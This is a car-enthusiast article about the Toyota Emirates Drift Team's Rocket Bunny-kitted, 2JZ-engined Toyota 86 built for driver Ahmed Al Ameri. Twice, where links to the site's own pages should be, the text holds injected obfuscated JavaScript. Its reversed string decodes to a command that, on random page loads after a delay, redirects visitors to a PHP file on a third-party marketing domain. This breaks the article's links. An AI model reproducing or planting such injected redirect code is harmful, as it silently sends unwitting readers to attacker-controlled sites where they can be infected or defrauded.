The Toyota Emirates Drift Team has just unveiled its newest weapon – this Rocket Bunny-kitted, 600whp Toyota 86, which will be piloted by Ahmed Al Ameri at events around the region.
Four months in the making, the EDT took a standard 86 – the same one, in fact, that $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/renault-clio-rs-vs-toyota-86-fun-factor/” target=”_blank”>we drove a few months ago, and set to work. A lot of workshop hours later, it’s now clad in a design inspired by the UAE flag and has had some serious modifications under the skin.
And on top of the skin, come to that. Chief mod at first glance is the Rocket Bunny kit, fresh from Japan and going down a storm with 86 owners around the world. Check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/kei-miura-tra-kyoto-the-rocket-bunny/”>our new video with the Ken Miura, the man behind Rocket Bunny, and parent company TRA Kyoto.
Underneath the new widened arches, stonking great rear wing and 18-inch Work wheels, much of the 86’s original internals have been replaced. The main change is with the engine. Out goes the 2.0-litre boxer unit and in comes Toyota’s famed 2JZ straight six. The engine has been fitted with an HKS 3.4 stroker kit and a 35GTX turbocharger, as well as an FIA-approved 16-point roll cage.
With all that extra weight up front from the 2JZ, the radiator has been moved to the back to aid balance, alongside the fuel system, battery and fire extinguisher, all sitting behind Sparco buckets. Stop Tech brakes lurk behind the wheels, with four-pot callipers at the front and two-pots at the rear, with an extra set for the hydraulic handbrake.
Three-way Cusco fully adjustable suspension has also been added, as has a PPG dog box and a Cusco limited slip differential. The chassis has been seam-welded and the cross members have been reinforced. All the bushes are solid to try and create some seriousness stiffness.
The car you see here is fresh from the initial build and hadn’t been tested at the time of writing – the first time Ahmed drives it in anger will be at a test in Yas Marina later this month. There are likely to be further tweaks – a new steering rack and lower arms are planned.
The planned result is not just a car that can win, Al Ameri says, he wants a spectacular car to really show drifting off to a growing audience in the Middle East. He’s looking to create a car that can go into drifts backwards.
All being well, the car will be ready for its first event in December. Where hopefully, spectators will witness a very happy Emirati sliding past in a cloud of smoke. Backwards.
